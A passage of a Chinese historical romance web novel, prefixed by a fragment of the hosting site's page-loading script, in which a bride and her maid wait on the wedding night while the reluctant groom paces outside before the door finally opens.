$(''.inform'').remove(); $(''#content'').append('' 婚之夜,怎么可能不来?” “这会儿外面宾客众多,他大概是忙着应酬,应酬完了就该过来。哎,小姐饿不饿,先吃几块糕点垫垫?” 说着,就从点心匣子里面摸出几块点心,塞到了姜云漾的手里。 糕点的香味扑面而来,她想到翠竹所说的“克己守礼”,多少有些安了心。 两人吃完了点心,又喝了将近半壶茶,屋子里这才多少有些往日在家里时的氛围。 又说了阵话,姜云漾便觉得有些累了。 本来只想靠着床柱歇一会,没想到半晌之后,翠竹再看时,姜云漾竟然已经睡着了。 翠竹有些哭笑不得,但想想自家主子今日起那样早,便也没有唤她,只是帮她调整了个更舒服的姿势,便去门口守着了。 - 夜凉如水。 喧嚣过后,大宅院又恢复往日的寂静。 如勾的新月挂在墨蓝色的夜空中,在地上洒下一层淡淡的银辉。 缭绕夜色中,男人缓步而来。清隽面容映在月光中,有种独特的凌厉,只淡淡一眼,就能让人生畏。 宿雨一直在前面引着路,这样做也不过是为了老夫人必须同房的嘱咐罢了。但说实话,他这样做其实有些多此一举,以他对自家主子的理解,这样关键的日子,他定不会逾矩。 这其实也是谢砚心中所想。 谢家族规,新妇第一天入门,必得同居同寝,这是理之自然的事情。只是如何同居同寝…… 想起那日葛叔匣子里面的东西,他的眉心便惹出了几分烦躁。 两人就这样安静地走了一路,直到快要到门口时…… 谢砚:“宿雨。” “公子。”宿雨垂手待立,静静地等着他的吩咐。 “陪我去后花园的湖边走走。” “???” “醒醒酒。” 刚刚宴席上没看到您喝酒啊?! 而另一边,听到脚步声的翠竹已经将姜云漾喊醒了。 小姑娘强撑着一双睡眼,有种不知今夕何夕的茫然,“怎么了翠竹?” 翠竹一边帮她理着满身的珠翠,一边道:“是姑爷,姑爷来了。” 一听到这个称呼,姜云漾顿时睡意全无,连耳朵也比平日里敏感了不少,时刻注意着外面的动静。 门外果然传来一阵脚步声。 可她怎么觉得,那脚步声不像是往这边来,而是越来越远啊?! 翠竹此刻也有些纳闷。 明明刚刚还是靠近的。 怎么这会又远了些? 不对,好像又近了。 但是近了没一会,又有远去的意思。 外面的脚步声就这样远远近近,近近远远,房内主仆二人,竖着耳朵静悄悄地听着。 翠竹还好说,姜云漾因带着喜帕,多少觉得听得有些不真切。 而这声音又着实让人有些心焦。 终于,她觉得自己再也忍不住了。这喜帕又沉又闷人,还听不清声音,简直不能再累赘,就在她揭开喜帕一角准备好好透气时,只听“嘭”的一声,房门被打开了。